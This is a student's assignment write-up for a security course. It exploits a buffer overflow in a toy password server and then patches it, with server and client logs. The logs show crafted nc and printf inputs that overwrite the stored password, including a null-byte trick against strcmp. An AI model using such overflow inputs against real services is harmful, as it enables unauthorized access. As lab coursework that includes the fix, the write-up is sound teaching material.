CPSC 526 - Assignment 1

Alex Stevenson - 30073617

Task 1:

- The first attempt overflows the buffer, by filling it with 32 characters and then overflowing `aaaaa` into the expected password
- The second attempt allows us to just enter the password `aaaaa` to get into the system

Server Log:

```
[UC alexander.stevenson@csx1 a1] ./server 2112 hello yeet
// Password at this point in time is "hello"
Waiting for a new connection...
Talking to someone.
Someone used an incorrect password.
// Password is now changed to "aaaaa"

Waiting for a new connection...
Talking to someone.
Someone used the correct password.
// Password is submitted as "aaaaa", the secret is leaked
```

Client Log:

```
[UC alexander.stevenson@csx2 a1] nc csx1 2112
Secret Server 1.0
123456789012345678901234567890 12aaaaa
I am not talking to you, bye!

[UC alexander.stevenson@csx2 a1] nc csx1 2112
Secret Server 1.0
aaaaa
The secret is: yeet
```

Task 2:

- This works because `strcmp` compares null terminated char buffers (aka strings). By starting the string with `12345\x00` it will treat this as the string `12345`
- We then overflow the buffer such that the expected password is `12345`
- It reads the entire thing into the buffer to overflow the expected password, but `strcmp` only compares `12345` with `12345` to leak the password immediately

Server Log:

```
[UC alexander.stevenson@csx1 a1] ./server 2112 hello yeet
Waiting for a new connection...
Talking to someone.
Someone used the correct password.
```

Client Log:

```
[UC alexander.stevenson@csx2 a1] printf '12345\x006789012345678901234567890112345' | nc csx1 2112
Secret Server 1.0
The secret is: yeet
```

Task 3:

- To remove the vulnerability, the easiest solution is to simply add a counter that ensures that the length of the string read into the buffer never exceeds the length of the buffer

Code changes:

```
// Added a new len variable to keep track of buffer size
void readLineFromFd( int fd, char * buff, unsigned int len) {
        ...
        // Begin a counter that counts up to the length
        unsigned int c = 0;
        while(1) {
                ...
            // leave one extra char for null terminator
            if (c++ >= len - 2) break;
    }
    ...
}

// Then just make sure to set the length of the buffer correctly when calling the new function
int main( int argc, char ** argv) {
        ...
        while(1) {
                ...
                readLineFromFd( connSockFd, globals.buffer, 32);
                ...
        }
        ...
}
```

Example:
Server Code:

```
[UC alexander.stevenson@csx1 a1] ./t3 2121 hello yeet
Waiting for a new connection...
Talking to someone.
Buffer: 12345678901234567890123456789O1
Password: hello
Someone used an incorrect password.

Waiting for a new connection...
Talking to someone.
Buffer: 12345
Password: hello
Someone used an incorrect password.

Waiting for a new connection...
Talking to someone.
Buffer: 12345678909876676889241497084l8
Password: hello
Someone used an incorrect password.
```

Client Code:

```
[UC alexander.stevenson@csx2 a1] nc csx1 2121
Secret Server 1.0
12345678901234567890123456789012l2345
I am not talking to you, bye!

[UC alexander.stevenson@csx2 a1] nc csx1 2121
Secret Server 1.0
12345
I am not talking to you, bye!

[UC alexander.stevenson@csx2 a1] nc csx1 2121
Secret Server 1.0
12345678909876676889241497084187340urihjgft76iy8ui2qghayt76iy8kuihjgfr76tiykh
I am not talking to you, bye!
```